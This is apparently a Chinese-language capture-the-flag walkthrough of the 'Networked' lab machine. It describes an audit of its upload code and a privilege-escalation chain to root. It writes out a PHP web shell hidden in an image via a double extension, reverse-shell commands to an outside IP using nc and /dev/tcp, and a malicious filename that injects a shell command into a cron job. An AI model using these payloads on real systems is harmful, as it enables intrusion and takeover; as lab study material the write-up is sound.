Networked

nmap scan

dirsearch

port 80

80端口只有一段文字
在源码里显示upload界面还未完成

代码审计

有两个比较关键的文件
一个是upload.php
一个是lib.php
lib.php中一共有6个函数,等会会在upload.php中被调用

    1. 第一个是检查上传的文件名称
      先按.切分
      然后将名字命名为第一部分
      然后把带有下划线的部分换成.
      然后把余下的数组进行还原
      返回一个name和一个用点隔开各单词的字符串
    1. 第二个是获取上传文件名
      内容和第一个一样
    1. 第三个是检查ip
      传进来一个perfix和一个文件名
      检查ip地址是否合法
    1. 第四个是特定功能的过滤
      首先是一个正则表达式
      以a-z开始后跟一个‘-’,接a-z,0-9接‘-’
      如果有finfo函数,就自己处理一下不返回原来应该返回的东西
      如果有mine_content_type函数也自己处理一下
    1. 第五个上检查文件类型
      用上面一个函数返回的文件类型匹配image
      匹配成功就返回true

upload.php
先检查文件类型和文件大小
只能传jpg,png,gif,jpeg

web

apache httpd中支持一个文件含有多个后缀,并为不同的后缀执行不同的命令
apache配置文件中如果添加了php对应的解析,则上传的文件只要包含.php就能执行
所以这里只要上传一个xxx.php.png,就能绕开过滤
把png文件用vim打开在中间插一句<?php system($_GET["cmd"]);?>
上传文件
成功上传并且能够显示命令
在传的文件后面跟?cmd=id会显示出相应的信息

反弹shell

?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f
?cmd=bash+-i+%3E%26+/dev/tcp/10.10.14.3/4444+0%3E%261

guly权限

在/home/guly里面有一个check_attack.php

还有一个计划任务脚本,每三分钟执行一次check_attack.php

如果能控制$path或者$value就能实现命令注入
check_attack.php会检查文件但是所有不以ip开头的文件都会跳过检查
在uploads文件夹里新建一个|nc -c bash 10.10.14.3 5555文件
等待程序执行
会收到一个shell是guly权限的

root

查看一下sudo列表会发现有一个sh脚本可以执行 尝试执行这个脚本会提示执行失败,但查看时确实存在该项 当输入空格分割的词汇时,会记录空格后的命令并尝试执行,可以尝试调一下/bin/bash 得到root权限